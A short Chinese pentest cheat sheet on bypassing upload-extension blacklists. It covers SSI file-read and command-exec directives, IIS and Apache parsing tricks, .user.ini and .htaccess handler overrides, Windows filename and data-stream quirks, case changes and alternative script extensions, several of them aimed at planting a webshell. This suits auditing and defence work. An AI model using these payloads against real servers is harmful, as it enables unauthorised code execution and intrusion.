当做代码的审计或者文件搞渗文章上传的时候有时候会遇到黑名单的验证码,比如常规的一些脚本名 asp php jsp 这种的不允许上传,下面是我总结的一些绕过的方法

Shtml

```
<!--#include file="/home/www/user8534/nav_foot.htm"--> //可以用来读文件
<!--#exec cmd="ifconfig"--> //可以用来执行命令
```

iis 解析

```
sanr.php;.gif
sanr.asp;.jpg
sanr.asp/sanr.jpg
```

.user.ini

```
User.ini
  auto_prepend_file:指定在每个 PHP 页面执行前所要执行的代码
  auto_prepend_file=demo.gif (每个页面都会加载 demo.gif)
```

.htaccess

```
AddType application/x-httpd-php          .jpg
```

Window 特性

1. 利用空格　　demo.php 空格
2. 小数点去绕过　demo.php.
3. Ads 数据流　　demo.php::$DATA
4. Ads 数据流(但文件是空) demo.php:jpg
   Window 通配符　　demo.<<<　　两者相结合拿到 webshell
   Tips：直接用 3 就可以　只不过延伸下 window 通配符的方法
   　　Window 通配符可以在包含文件的时候包含 c:window/temp 目录临时 php 文件(文件包含本地测试成功 但是实际渗透很少成功 因为 session 文件也是 php 开头如同时匹配多个文件以 php 开头的这种，会拿到第一个 php 文件，不确保是自己上传的临时文件)

大小写绕过

aSp　pHp　JsP

扩展名绕过

Asp：asa　cer　cdx
Aspx: ashx　asmx ascx
Php:　php3 phtml
Jsp:　jspx　jspf

Apache 的解析

sanr. php. xxxxxx